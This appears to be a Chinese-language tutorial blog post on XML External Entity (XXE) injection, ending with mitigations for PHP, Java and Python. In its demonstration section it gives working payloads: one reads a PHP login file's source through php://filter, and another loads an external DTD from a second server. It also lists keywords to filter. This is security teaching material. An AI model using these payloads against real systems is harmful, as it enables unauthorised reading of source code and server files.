什么是XML?

现在我们大部分用的是JSON在客户端和服务器之间进行数据交流,其实在之前,一般用XML不过,JSON用的比较方便,所以现在大家都推荐使用JSON进行数据交流。

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>to</to>
<from>from</from>
<hello>hello</hello>
</note>

这是最基本的XML格式,XML格式要求比较严格

什么是XXE?

XXE(XML 外部实体注入,XML External Entity),当服务器在解析XML时,允许引用外部实体,构造恶意的XML内容,可导致读取服务器上的文件、端口探测、执行系统命令等攻击。

由于每个编程语言在XML支持的协议都不同,大概 HTTPFILE 协议是大家通常使用的。

一般用 HTTP 协议去探测内网,FILE 协议去读取服务器上的文件。

漏洞演示

这里,我通过XXE漏洞获取网页源代码,那么在PHP里我们可以使用php://协议。

1
2
3
4
5
6
7
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&xxe;</username>
<password>admin123</password>
</user>

语法解释

<!DOCTYPE a[]> 为定义一个内部DTD

不知道DTD是啥?详情请打开这个链接:https://www.runoob.com/dtd/dtd-tutorial.html 了解一下

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"> 引用内部实体,通过引用内部实体,执行PHP协议命令获取源代码

<username>&xxe;</username> 中的 &xxe; 为内部实体的名称,将内部实体的值赋值给 username XML标签元素

实验方法一

这里方法一,我用的是定义内部实体,将内部定义的实体值进行赋值,服务器执行后返回源代码

这里的源代码是通过Base64加密的,需要解密才可以看到

实验方法二

在另一个站或者服务器里,我们写入一个文件a.dtd

里面写入内部实体代码

方法二,通过引入外部实体,服务器执行后返回源代码

格式:<!ENTITY % d SYSTEM "http://10.50.35.166/a.dtd">%d;

% d 中间一定要加空格 不然报错

http://10.50.35.166/a.dtd 为另一个站,存放外部实体内容

%d; 在定义外部实体结束后一定要加上,不然也会报错

<username>&a;</username> 实体名称,填写另一个站或服务器里面文件的内部实体名称,上面我定义的是a 则这里填写a

漏洞防御

编程语言自带禁用外部实体方法

  • PHP:libxml_disable_entity_loader(true);

  • Java:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

  • Python:from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

用户自定义过滤外部实体方法

将用户输入的 <!DOCTYPE <!ENTITY SYSTEM PUBLIC 关键字进行过滤

参考资料

[1] 菜鸟教程XML教程

[2] XXE注入–XML外部实体注入